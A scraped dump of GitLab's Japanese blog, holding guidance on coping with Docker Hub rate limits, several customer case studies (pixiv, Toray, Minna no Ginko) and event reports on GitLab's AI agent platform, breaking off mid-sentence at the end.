**依存プロキシの認証：**\nGitLabの[依存プロキシ機能](https://gitlab.com/gitlab-org/gitlab/-/issues/331741)にDocker\nHubの認証のサポートを追加しました。これにより、依存プロキシは認証済みユーザーとしてDocker\nHubからイメージをプルできるようになり、レート制限が大幅に緩和されます。\n\n* **ドキュメントの更新：** Docker\nHubのパイプライン認証の設定に関する明確なガイダンスを提供するために、[ドキュメント](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials)を更新しました。\n\n* **内部インフラの整備：** GitLab.comのホステッドランナーへの影響を最小限にするため、内部インフラを整備中です。\n\n## ユーザー側でできる対策\n\n**オプション1：パイプラインでDocker Hub認証を設定する**\n\nDocker\nHubから直接プルしているパイプラインでは、認証を設定することでレート制限を1時間あたり100回（または有料プランなら無制限）まで増やせます。\n\nDocker\nHubの認証情報をプロジェクトまたはグループのCI/CD変数に追加してください（`.gitlab-ci.yml`には追加しないでください）。`DOCKER_AUTH_CONFIG`\nCI/CD変数の正しい設定方法については、[Dockerイメージの使用に関するドキュメント](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials)を参照してください。\n\n**オプション2：GitLabのコンテナレジストリを使用する**\n\n頻繁に使用するDockerイメージを[GitLabのコンテナレジストリ](https://docs.gitlab.com/user/packages/container_registry/)にプッシュすることで、CI/CDの実行中にDocker\nHubからプルする必要がなくなります。\n\n1. Docker Hubからイメージをプルします\n\n2. GitLabコンテナレジストリにタグ付けします\n\n3. GitLabコンテナレジストリにプッシュします\n\n4. パイプラインをGitLabコンテナレジストリからプルするよう更新します\n\n```shell\n\ndocker pull busybox:latest\n\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\n\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n\n```\n\nそれから、`.gitlab-ci.yml`で以下のように記述します。 `image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**オプション3：GitLabの依存プロキシを使用する**\n\nGitLabの依存プロキシ機能を使うことで、Dockerイメージをキャッシュしてプロキシ経由で取得できるため、外部依存関係を減らし、レート制限の問題を軽減できます。\n\n現在の認証オプションは以下のとおりです。\n\n* GitLab 17.10：[GraphQL\nAPI](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)を使って、依存プロキシ用のDocker\nHub認証を設定\n\n* GitLab 17.11：グループ設定に新しく追加されたUIベースの設定を使用（GitLab.comでは既に利用可能）\n\n認証が正しく設定されると、以下の操作が可能になります。\n\n1. グループの依存プロキシ設定でDocker Hubの認証情報を設定する\n  - GitLab 17.11以降（またはGitLab.com）：グループ設定 > パッケージとレジストリ > 依存プロキシで設定\n  - GitLab 17.10：GraphQL APIで認証を設定\n2. CI/CD設定で依存プロキシURLを使用するよう、パイプラインを更新する\u003Cbr>\n\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**オプション4：Docker Hubの有料プランを検討する**\n\nDocker\nHubの利用が多い組織の場合は、プル回数が無制限の有料Dockerサブスクリプション（TeamまたはBusiness）へのアップグレードが最も簡単な解決策となる場合があります。\n\n## Docker Hubのレート制限による影響を減らすベストプラクティス\n\nどのオプションを選ぶ場合でも、Docker Hubのレート制限の影響を最小限に抑えるために、以下のベストプラクティスを参考にしてください。\n\n* `latest`タグではなく、特定のバージョンタグを使用して不要なプルを避ける\n\n* Dockerファイルを統合し、同じベースイメージを複数のプロジェクトで使い回す\n\n* あまり重要でないパイプラインは、ピーク時間を避けて実行するようスケジュールする\n\n* キャッシュを有効活用し、同じイメージを繰り返しプルするのを避ける\n\n**注：** Docker\nHubの[ドキュメント](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition)によると、プル回数はイメージのサイズやレイヤー数ではなく、manifestを取得した時点で1回とカウントされます。\n\n## スケジュールと今後の流れ\n\n**現在**\n  * Docker Hubからの直接プルに認証を実装します\n* GitLab.comユーザーは以下のいずれかで依存プロキシ認証を設定できます\n    * GraphQL API\n    * グループ設定のUI\n  * Self-ManagedのGitLab 17.10ユーザーはGraphQL APIを使用して依存プロキシ認証を設定できます\n\n**2025年4月1日**\n  * Docker Hubのレート制限が始まります\n\n**2025年4月17日**\n  * Self-Managedインスタンス向けの依存プロキシ認証機能をUIに追加したGitLab 17.11がリリースされます\n\nパイプラインの予期せぬ失敗を回避するために、可能な限り速やかに対応することをおすすめします。多くのユーザーにとっては、Docker\nHub認証を使用して依存プロキシを設定することが最も効率的な長期的解決策となります。\n\n>\nご質問がある場合や、実装に関してサポートが必要な場合は、[こちらのイシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/526605)をご覧ください。GitLabのチームによる対応が確認できます。\n\n\u003Cbr>\u003Cbr>\n\n*監修：川瀬 洋平 [@ykawase](https://gitlab.com/ykawase)\n\n（GitLab合同会社 カスタマーサクセス本部 シニアカスタマーサクセスマネージャー）*\n",[88,719,821],"2025-03-31",{"slug":904,"featured":13,"template":796},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":682,"slug":680,"posts":906},[907,922,933],{"content":908,"config":920},{"title":909,"description":910,"authors":911,"heroImage":913,"date":914,"body":915,"category":680,"tags":916},"お客様事例：ピクシブ","生産性のオーバーヘッドを極小化する開発支援ツール戦略を加速する事例をご紹介。",[912],"GitLab Japan Team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1770267303/xwn82trbh5iaf44e1gp3.jpg","2026-02-17","## ピクシブについて\n\nピクシブ株式会社は、「創作活動を、もっと楽しくする。」というミッションを掲げる企業です。2007年にリリースされたイラスト、マンガ、小説作品の投稿プラットフォーム「pixiv」を中核に、創作ドメインに特化した事業を多角的に展開。登録ユーザー数は1億を超え、海外ユーザー比率も高いグローバルなプラットフォームへと成長しました。\n\n## ピクシブの挑戦\n\n創業以来、内製による開発を継続する同社に数年前、開発サイクルにおける手戻りや待ち時間などのオーバーヘッドを可視化する機会が訪れました。社内で2番目に大きなプロジェクトのバリューストリームを分析したところ、開発時間全体の約19%がオーバーヘッドに占められていることが判明したのです。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate、GitLab Duo Enterprise\n\n面白いのは、この数字を単なる損失やネガティブな問題とは捉えず、「改善すれば成果が約束されている」、「19%の伸びしろがある」とポジティブに解釈したこと。オーバーヘッドを抑制しながら、組織規模の拡大に伴う開発効率の鈍化や、高まるセキュリティ脅威、ナレッジの散逸といった課題に対し、「デリバリー能力そのものの向上」を目指す取り組みが始まりました。ソースコード管理だけでなく、設計情報やセキュリティ機能も一元化できる「GitLab Ultimate」を核とした、シフトレフトへの移行です。\n\n開発ライフサイクル全体の基盤整備に向け、「3本の柱」が掲げられました。まずは、「健康診断のお医者さん」になること。チームの健康状態＝バリューストリームを定期的に診断し、改善への処方箋を出す役割です。次に、「ガードレール整備の職人」であること。セキュリティスキャンやインスペクション設定を最適化し、安全な開発環境を整える役割を担います。最後に、「コンテキストを集める推進リーダー」の務めを果たすこと。最新の支援ツールが正しく機能するよう、情報を整備します。\n導入戦略では「点・線・面」のアプローチを採用しました。まずは特定のプロジェクト＝点で成功事例を作り、それを複数の事例＝線へと展開し、最終的に全社的な標準＝面とする段階的な展開です。\n\nこれまでの大きな成果のひとつは、「部分最適の罠」を理解できたことです。検証の過程で、「特定工程の速度を2倍にしても、次の工程の負荷が倍増してボトルネックが発生し、全体のスループットは上がらない」という事実が浮き彫りになりました。これにより、単なるツールの導入ではなく、バリューストリーム全体を俯瞰した最適化が不可欠であるという認識が広がりました。\n\n開発支援機能を最適に使用するための基盤作りも進んでいます。従来、社内のWikiツールでやり取りしていた情報を、GitLab上のイシューやプロジェクト管理に集約。開発の背景やコンテキストを含めて一元的に把握できるようにすることで、支援ツールによる補助の精度や信頼性が向上しました。\n\n今後は、現在「線」になりつつある取り組みを、具体的なカバレッジ目標を持った「面」へと展開します。19%というオーバーヘッドをわずかでも削減することが狙いです。中でも、支援ツール活用のための環境整備に注力します。今後の開発に高度な自動化支援は不可欠で、「渋滞を起こさないようなバリューストリーム」の構築を実現したい考えです。\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf)\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n\u003C/object>",[806,88,917,695,918,757,919],"customers","performance","user stories",{"featured":13,"template":796,"slug":921},"epic-tokyo-2025-pixiv",{"content":923,"config":931},{"heroImage":924,"body":925,"authors":926,"updatedDate":5,"date":927,"title":928,"tags":929,"description":930,"category":680},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770172921/sprvmx9sgnxrx5m3ptxy.jpg","## 東レについて\n\n東レ株式会社は、繊維や機能化成品、炭素繊維などを提供する素材メーカー。2026年に創業100周年を迎え、売上高2兆5000億円、グローバルの従業員数約5万人を誇ります。UNIQLOの「ヒートテック」やボーイング「787」の機体材料など、私たちの身近な製品にも、その素材が利用されています。\n\n## 東レの挑戦\n\n同社は、情報システムに課題を抱えていました。50年前から稼働するホストコンピュータや、導入から20年以上経過したERP、そしてJavaをベースとした自社製の独自フレームワークで構築された200を超える業務システムが複雑に入り組んでいたのです。この状況ではDXの推進が困難で、運用保守に忙殺される技術者のモチベーション低下も大きな問題でした。そこで同社は競争優位性の源泉となる領域において、アプリケーションのモダナイズを決断しました。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate、GitLab Duo Enterprise\n\n基幹刷新プロジェクトと共に始動したアプリケーションモダナイズの取り組みでは、「セキュリティの向上」、「自動化（CI/CD）」、「モノリスからの脱却」、「常に新しい技術の採用」という4つの柱を掲げました。開発サイクルの高速化とセキュリティ確保を両立するDevSecOpsを実現するために、開発の初期段階からセキュリティチェックを組み込むシフトレフトのアプローチは不可欠。それを実現するためにGitLabを開発プラットフォームとし、セキュリティチェックとCI/CDサイクルを確立することで、開発スピード、品質、セキュリティのすべてを強化する体制を整えました。\n\nGitLabと生成AIエディタ「Cursor」を組み合わせたAI駆動開発にも挑戦しました。開発者はMarkdown形式のAPI仕様書を作成し、Cursorに入力することでソースコードやテストコードを自動生成します。導入当初は生成されるコードの品質にばらつきがありましたが、プロンプトの内容やアーキテクチャのルールを整備し、実装後にチェックするプロセスを導入することで、開発者間で均質なコードが生成されるよう改善しました。\n\n生成されたコードのレビューにはGitLab Duoを活用しています。AIをレビュアーとして指定することで、冗長なコードの指摘やエラーハンドリングの不足などを自動で検出し、属人化の解消とレビュー工数の削減を実現しています。\n\nこれらの取り組みにより、かつては手動で行っていた単体テストやデプロイ作業が自動化され、セキュリティテストもパイプラインの中で頻繁かつ定期的に実施できるようになりました。旧システムのクラウドリフトは約1年半で完了し、2025年からは本格的なモダナイズフェーズへと移行しています。わずか3か月で試行的なモダンアプリ開発を成功させるなど、着実に内製化への知見を蓄積しています。開発環境においても、VDIやNexusサーバを導入してセキュアな構成を保ちつつ、開発者が最新技術に触れられる「ワクワクする」環境づくりが進められています。\n\n今後は、人材採用活動をさらに積極化するとともに、生成AIとGitLab Duoによる開発・運用工数の削減を目指します。すでに脆弱性対応を自動化する仕組みの構築に着手。脆弱性診断結果を分析し、GitLab Duoを中心として修正コードの提案からマージリクエストの作成までを自動化する構想です。レビュアーはAIが提案した変更内容を確認して承認するだけというフローを確立し、人間がより創造的な業務に集中できる環境を目指します。\n\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770170747/diywgk9vavrv3jtxyo1l.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770170747/diywgk9vavrv3jtxyo1l.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n\u003C/object>",[912],"2026-02-05","お客様事例：東レ",[806,88,917,695,757,919],"システムをGitLabとAI活用でモダナイズされた東レ様の事例。DevSecOps実現と開発効率化の取り組みを紹介します。",{"featured":13,"template":796,"slug":932},"epic-tokyo-2025-toray",{"content":934,"config":942},{"title":935,"heroImage":936,"date":937,"body":938,"category":680,"tags":939,"description":940,"authors":941},"お客様事例：みんなの銀行","https://res.cloudinary.com/about-gitlab-com/image/upload/v1769428733/nwx3couveh6gse8tlt4d.jpg","2026-01-29","## みんなの銀行について\n\n株式会社みんなの銀行は、スマホ完結型の日本初のデジタルバンクを運営する企業。このB2C銀行に加え、APIを通じて金融機能を外部に提供するBaaS（Banking as a Service）事業やシステム外販事業を展開しています。40代未満のユーザーが7割を占め、Google Cloud上で勘定系システムをフルスクラッチ開発している点が大きな特徴です。\n\n## 開発内製化への挑戦\n\n同社は徹底した内製化を目指しています。その理由は、プロダクトを“自分ごと”として捉え、改善のナレッジを社内に蓄積するためです。外部委託ではノウハウが流出し、コストも最適化しにくい一方、自分たちで開発・運用を行うことで、投資を効率化し、開発と運用の好循環を生み出すことを重視しています。内製化には「挑戦できる環境」と「心理的安全性」のある文化が不可欠であり、GitLabはこの土台として機能しています。銀行システム特有の厳格なセキュリティや運用ルールによる窮屈さを、技術と自動化によって最小化する役割を担っています。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate\n\nGitLab導入の背景には、ゼロからのシステム構築にあたり、セキュリティとガバナンスを両立したDevOps環境が必要だったことがあります。選定にあたっては、ソフトウェア開発ライフサイクル全体を単一ツールでカバーでき、学習コストを抑えながら厳格な要件を満たせる点が決め手となりました。現在は、福岡と東京での分散開発を支える基盤として活用し、CI/CDパイプラインに単体テストやセキュリティスキャン（SAST、依存関係チェック、機密情報検知）を組み込むことで、アジリティとセキュリティの両立を実現しています。\n\n中でも注力しているのがGitOpsです。これはGitリポジトリの状態を正とし、本番環境と自動同期させる仕組みです。同行では独自の「コンプライアンス・パイプライン」を構築しました。開発者がマージリクエストを出すと、承認者は変更内容やリスクを確認して承認するという流れです。マージ後はKubernetes環境へのデプロイを自動化するArgoCDが検知し、自動で本番環境へと反映します。運用／開発分離という観点から、最終的な「承認」のみを人が行い、リリース作業自体は徹底して自動化しています。これにより、人為的なオペレーションミスを防ぐとともに、開発者が自身のコードと本番環境に対する責任を持つ「Code Owners」としての意識醸成につなげています。\n\nAI活用にも積極的です。不正口座検知や顧客FAQに加え、社内用の生成AI環境を整備しています。開発業務においては、コード生成や補完の導入を加速させるべく「AIスクラム」を組成しました。すべての言語での活用を推進し、要件定義からリリースまでの全工程へのAI組み込みを目指しています。\n\n今後は、仕様を固めてからAIに生成させる「スペック駆動開発」の推進や、クライアントサイドでのレビューAI活用など、GitLabとAIの連携をさらに深めていく方針です。セキュリティと品質を高めつつ、エンジニアが創造性を発揮できる開発環境を追求し、日本の技術力向上にも貢献していきたいと考えています。\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769429924/khjuj2sgowamexx20ndr.jpg \"株式会社みんなの銀行 取締役常務執行役員CIO 宮本 昌明氏\")\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769482018/p0g5il5oqadjbsrhhrhy.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1769482018/p0g5il5oqadjbsrhhrhy.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n  \u003Ca href=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1769482018/p0g5il5oqadjbsrhhrhy.pdf\">事例PDFを無料でダウンロードする\u003C/a>\n\u003C/object>",[806,88,917,695,529,510,757,919],"スマホ完結型の日本初のデジタルバンクを運営するみんなの銀行様の事例。GitLabでセキュリティとアジリティを両立し、AI活用も推進する内製開発の取り組みをご紹介します。",[912],{"featured":13,"template":796,"slug":943},"epic-tokyo-2025-minna-no-ginko",{"category":695,"slug":693,"posts":945},[946,957,968],{"content":947,"config":955},{"heroImage":948,"body":949,"authors":950,"updatedDate":5,"date":951,"title":952,"tags":953,"description":954,"category":693},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762140/zuh6yujweuoaixks5lul.jpg","2026年2月10日、GitLab は「GitLab Transcend Japan」を開催しました。本記事では、ビデオとセッションの模様を中心にレポートします。\n\n## **SaaSはAgentic AIの「主語」であるべき**\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762586/uqq532hneioadonhyl6i.jpg \"GitLab合同会社 Head of Japan 小澤 正治\")\n\nGitLab は2026年2月10日、東京・六本木ヒルズクラブで「GitLab Transcend Japan」を開催しました。今回のイベントは、世界12都市で同日開催されたグローバルカンファレンスの一環で、GitLabを先進的に活用されている国内ユーザーの皆様の中から、グローバルで選定された方々を招待して実施しました。\n\nオープニングセッションには、GitLab Head of Japan 小澤 正治が登壇。小澤は、AIが急速に普及し「手段」として定着しつつある現状を踏まえ、Tech [SaaS](https://about.gitlab.com/ja-jp/blog/what-is-saas/)のあり方を再定義する必要性について以下のように語りました。\n\n「これからは、[Agentic AI](https://about.gitlab.com/ja-jp/topics/agentic-ai/)（自律型のAI）そのものを主語として考えるSaaSなのか、それともSaaSというプラットフォームを主語にして考えるAgentic AIなのか、この違いが問われる時代になります」\n\n統合プラットフォームであるGitLabは、ソフトウェア開発における複雑なワークフローをコントロールし、すべてのトランザクションをデータとして蓄積しています。そして、この膨大かつ正確なデータ群のおかげで、人やAIはコンテキスト（文脈）としてその全容を理解できるようになるのです。つまり、AIが精度の高い回答を提供してくれるか否かは、こうしたデータがそろっているかどうかが大きなカギになるわけです。「これこそ、GitLabが提供できる根源的な価値になります」（小澤）。\n\n小澤は、現在の日本企業を取り巻く環境について、3つの重要なトピックを挙げました。サイバーセキュリティと法規制、円安と輸出規制、および2025年の崖と人材不足です。\n\nサイバーセキュリティと法規制では、サイバー攻撃によるインシデントが多発する中、NIST（米国国立標準技術研究所）のガイドラインなど、国内外の法規制への対応が必須となっています。もはやセキュリティは「努力目標」ではなく「経営課題」と言える状況です。円安と輸出規制では、円安が輸出企業にとって追い風になる一方、欧州のサイバーレジリエンス法（CRA）やGDPRなどの規制をクリアしなければグローバル市場で戦えません。これらがビジネスのハードルになるケースが増えてきています。最後の2025年の崖と人材不足では、レガシーシステムのモダナイゼーションを推進できるIT人材の確保が多くの企業にとって悩みの種になっています。\n\nGitLabは、これらの課題に対しシングルプラットフォームという価値でこたえることができます。\n\n小澤は、「ソフトウェア開発のすべてをGitLab上で行うことで、データは単一のデータストアに蓄積されます。分断されたツール群では成し得ないこのデータとコンテキストの一元化こそが、AI活用における最大の武器になります。また、コンプライアンスやガバナンスに強制力を効かせながら、効率を下げずにソフトウェア開発することで、安心・安全なデリバリーが可能になるのです」と語りました。\n\n## **インテリジェント・オーケストレーションがソフトウェア開発の未来を切り拓く**\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762585/aquhu0vpb07ibmortwhg.jpg \"会場の様子\")\n\n続いて、会場のスクリーンで全世界に向けたビデオが放映されました。GitLab CEO Bill Staplesをはじめとする経営陣、そして先進的なユーザー企業が登場し、AI時代の新たなソフトウェア開発戦略の発表の場です。\n\nStaplesは、「月曜の朝、コーヒーを片手にPCを開き、仕事をスタートさせます。しかし、実際にコードを書く時間はどれくらいあるでしょう？」と語りかけます。[25万人の開発者を対象とした調査](https://about.gitlab.com/ja-jp/developer-survey/japan/)によると、開発者が実際にコードを書いている時間は、1日平均でわずか52分に過ぎません。残りの時間は、会議、承認待ち、障害対応、およびその他の雑務に奪われているのです。\n\nこれがAIのパラドックスです。AIコーディングツールは、生産性10倍とうたいますが、それは業務全体のわずか10〜20%に過ぎないコーディング時間を短縮しているだけ。前後のプロセスにあるボトルネックが解消されない限り、ビジネス全体のデリバリー速度は劇的には向上しないのです。\n\nこの課題を解消するために、Staplesは「インテリジェント・オーケストレーション」という方向性を提唱します。これまでの開発は、人間がバケツリレーのように工程を渡していく「ステージベース」でした。これからは、AIエージェントが自律的にタスクを拾い、プロセス間を繋ぐ形へとシフトします。\n\n「人間はループの上に立ち、エージェントをオーケストレーション（指揮）する役割へと進化します」（Staples）と語ります。雑務から解放され、戦略や創造的な意思決定に集中する未来の姿がそこにあります。\n\n続いて、このビジョンを実践している企業として、サウスウエスト航空社のManaging Director、Grant Morris氏が登場しました。同社は、個別最適化されたツール群を捨て、GitLabでソフトウェア開発の全プロセスを統合。セキュリティとコンプライアンスを担保しながら開発者がビジネス価値の創出に集中できる環境を整備しています。\n\nAI活用についてGrant氏は、「セキュリティ修正や依存関係のアップデートなど、エンジニアが疲弊するルーティンワークをAIエージェントに任せています」と語ります。さらに将来は、「AIエージェントがバックグラウンドで常にコードを監視し、リファクタリング（ソフトウェアの内部コード構造を整理する作業）やアップグレードを自律的に提案してくれるようになるでしょう。つまり、技術的負債という概念自体が過去のものになります」と語りました。\n\n続いて登場したGitLab CPMOのManav Khuranaは、インテリジェント・オーケストレーションを実現するための製品戦略について解説しました。\n\nまずは、AIエージェントをGitLab内で機能させる基盤となるAgentic Coreの進化。リポジトリやイシューなどをAIがコンテキストとして理解できるように構造化する独自技術を提供します。汎用的なエージェントに加え、各社独自のノウハウを組み込んだCustom Agentsを作成・公開できるAI Catalogを用意し、JiraやSlackなど外部ツールからもコンテキストを取得するためにModel Context Protocol （MCP）にも対応します。\n\n既存機能の強化では、複雑なYAMLを書かずにAIと対話しながらパイプラインを構築できるAIファーストのCI/CDビルダーや、あらゆる成果物をGitLab内で一元管理し、AIエージェントが機密性の高い状態でも安全にアクセスできる仕組みを構築します。\n\nGitLabは、SaaSだけでなく、オンプレミス環境でも利用できます。AIもオンプレミスで利用できるよう、ガバナンスを効かせた状態でAIを活用できる環境も提供します。独自のAIモデルを持ち込むBYOM（Bring Your Own Model）や、インターネット遮断環境（エアギャップ）にも対応します。\n\nビデオの終盤には、Oracle Group VPであるVictor Restrepo氏が登場し、GitLabとの強力なパートナーシップについて語りました。Restrepo氏は、Oracle Cloud Infrastructure （OCI）のコストパフォーマンスとGitLabの効率性を組み合わせることでインフラコストを削減し、その分をイノベーション投資に回すクラウドエコノミクスの重要性を強調。「政府系クラウドや専用リージョンを持つOCI上でGitLabを稼働させれば、厳しい規制が課される業界でもセキュアにAIを活用できるようになります」とGitLabとの親和性についても語りました。\n\n## **コンテキストを理解し、自律的に動くAIエージェント**\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762585/etl4f4uhcggrndlhwgr2.jpg \"GitLab合同会社 ソリューションアーキテクト本部 シニアソリューションアーキテクト 吉瀬 淳一\")\n\nビデオで披露された最新機能について、次のセッションで実機デモを交えた解説が行われました。その際にも強調されたのは、コンテキストの重要性です。AIエージェントが的確な仕事をするためには、プロジェクトの全容を理解している必要があります。企画から監視までをシングルプラットフォームで管理しているGitLabだからこそ、AIは断片的な情報ではなく、プロジェクトの全履歴という文脈を理解した上で自律的に動くことができるのです。\n\nデモでは、まず[Duo Planner Agent](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/planner/)を紹介。「こんな感じの機能をリリースしたい」という人間からの曖昧な指示に対し、AIはバックログや現状のコードベースを分析し、数分で具体的なタスクへと分解し、実行計画を立案してくれます。[Duo CLI](https://docs.gitlab.com/ja-jp/cli/duo/cli/)のデモでは、ターミナル上での作業をAIが支援してくれる様子が披露されました。対話内容はWeb UIと同期されるため、開発者はツール間を行き来することなく、シームレスに作業を継続できます。\n\n[Foundational Flows](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/)のデモでは、CIパイプラインが失敗した際にワンクリックでAIがログを解析してくれました。原因の特定から修正コードの作成、そして修正用マージリクエストの作成まで、AIが自律的に支援してくれます。[Security Analyst Agent](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)も便利です。脆弱性が検出された際に、単に警告を出すだけではなく、AIエージェントが「なぜ危険なのか」を解説し、具体的な修正パッチを作成してくれます。\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762585/a9yas83dxdhjopxifx5z.jpg \"写真左から株式会社SBI証券 執行役員 IT企画部長 武藤 恵慈氏、GitLab合同会社 Head of Japan 小澤正治\")\n\n最後のセッションには、国内の先進事例として、株式会社SBI証券 執行役員 IT企画部長 武藤 恵慈氏をお招きし、小澤とのFireside Chatを実施しました。かつてはシステムや言語が乱立する課題を抱えていた同社は内製化へと大きく舵を切り、大規模かつ多数のプロジェクトを効率的に推進しています。詳細なセッション内容は、近日中に公開予定です。\n\nこの日のイベントでは、Staplesの以下の発言が印象に残りました。\n\n「ソフトウェア開発は、コードを書くことから価値を創ることへと変化しています」\n\nGitLabは単なるツールから、人間とAIエージェントが協調して働くための基盤である「インテリジェント・オーケストレーション・プラットフォーム」へと進化します。AIのパラドックスを乗り越え、開発者が真のイノベーションに注力できる未来へ。「Transcend（=超越）」というイベント名にふさわしい、新たな時代が幕を開けます。",[912],"2026-03-10","AIのパラドックスを解くカギはインテリジェント・オーケストレーション【GitLab Transcend Japanレポート】",[806,88,917,695,252,757,919],"2026年2月10日に開催した「GitLab Transcend Japan」の模様をレポートします。\n",{"featured":13,"template":796,"slug":956},"event-report-transcend-tokyo-2026",{"content":958,"config":966},{"heroImage":959,"body":960,"authors":961,"updatedDate":914,"date":962,"title":963,"tags":964,"description":965,"category":693},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770082992/ll61ekf2lcgogkgay69j.jpg","*2026年2月5日追記：本文内に東レ様の事例を追加しました。*\n\n2025年11月に開催した年次イベント「GitLab Epic Tour Japan 2025」の模様をお伝えします。\n\n> 【期間限定！動画で見る】GitLab Epic Tour Japan 2025 オンデマンド配信は[こちら](https://www.event-site.info/gitlab-epic-conference-japan-2025/?r=eventreport)\n\nGitLabは2025年11月28日、都内で年次イベントで「GitLab Epic Tour Japan 2025 〜AI駆動ソフトウェア開発の攻めと守り〜」を開催しました。生成AIの登場により、ソフトウェア開発の現場は大きな変化にさらされることになりました。コード生成AIを活用して生産性向上を狙う「攻め」については、すでに多くの開発者が取り組んでいます。一方、AIが生成したコードの脆弱性をどうすべきかという「守り」の重要性が、かつてないほど高まっています。この日のイベントでは、AI時代の開発プラットフォームのあり方、そして日本企業が直面する課題への具体的な処方箋を示しました。本稿では、主要セッションの内容を中心に、イベントの全容をレポートします。\n\n## **「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた**\n\n![「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083035/sp4llxhmbx2kcawgexyp.jpg \"GitLab合同会社 Japan Country Manager 小澤 正治\")\n\nオープニングセッションでは、GitLab Japan Country manager小澤 正治がご挨拶させていただきました。小澤は2年半前の入社当時を振り返り、次のように語ります。\n\n「当時、経済産業省のレポートを読むと、国内の[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)の認知度はわずか30%でした。正直、どうしようかと震えていたのですが、状況は大きく変わりました。この変化にワクワクしています」\n\nこの2年半で、GitLab自身も大きく進化しました。当時は単に「[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/) Platform」でしたが、AI要素を付加した「AI Powered」が枕詞になりました。そして現在は、「AI Native [DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/) Platform」です。つまり、GitLabそのものがAIを中核に据えたプラットフォームへと成長したと言えます。\n\n![「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083037/z1vvb6yuqznqlpe9nukf.jpg \"GitLab合同会社 Staff Regional Marketing Manager 川口 修平\")\n\n続いて登壇したStaff Regional Marketing Manager 川口 修平は、AI導入により開発者1人あたり年間120万円相当の工数を削減でき、その結果として日本の経済効果が約1兆6000億円に上るという試算を[紹介](https://japanese-developer-survey.about.gitlab-review.app/ja-jp/developer-survey/japan/)。ただし、AI活用に立ちはだかる困難を、「3つの壁」として提示しました。\n\nまずは、技術的負債の壁。レガシーコードやドキュメント不足が、AIのコンテキスト理解を妨げています。続いて、セキュリティリスクの壁。 AI生成コードの約45%に脆弱性が含まれるというデータがあり、インシデントを防ぐ防災に加えて、被害を最小限にする減災の考え方も不可欠になります。最後に、人材の壁。エンジニアの役割はコードを書くことから、AIの成果物が正しいかどうかを評価することへシフトします。\n\nこれらの課題を解決するカギになるのが、[GitLab Duo Agent Platform](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)（以下、DAP）です。開発サイクル上のすべての情報を単一データストアへと集約することで、AIがコンテキストを深く理解し、精度が高く、かつ自律的な支援が可能になります。\n\n## **「Prompt to Production」の危険性と、自律型AIエージェントの未来**\n\n![「Prompt to Production」の危険性と、自律型AIエージェントの未来](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083038/ydpympgpv51g0tncpw7j.jpg \"GitLab CTO Asia Pacific & Japan Andrew Haschka\")\n\n続いて登壇したGitLab CTO Asia Pacific & Japan Andrew Haschka氏は、アジア太平洋地域のリーダーたちとの対話から得た知見をに基づき、AI活用の次のステージについて語りました。\n\nHaschkaは、「AIを正しく機能させるためには、開発の全工程を網羅した“信頼できる唯一の情報源”が不可欠です」と強調します。現在、多くの企業は開発現場にAIを導入していますが、その用途は「AIコーディング」に偏りすぎています。しかしながら、計画、テスト、セキュリティといった周辺プロセスにも、AIによる最適化の余地があるのです。\n\n「私は、ガバナンスがない状態で、バラバラのAIツールを使うことをPrompt to Productionと呼び、危険視しています。テストやセキュリティチェックをスキップし、プロンプトの結果をいきなり本番環境へ反映してしまうリスクがあるためです」（Haschka）\n\nこの問題を解決するのが、[DAP](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)と[Agentic 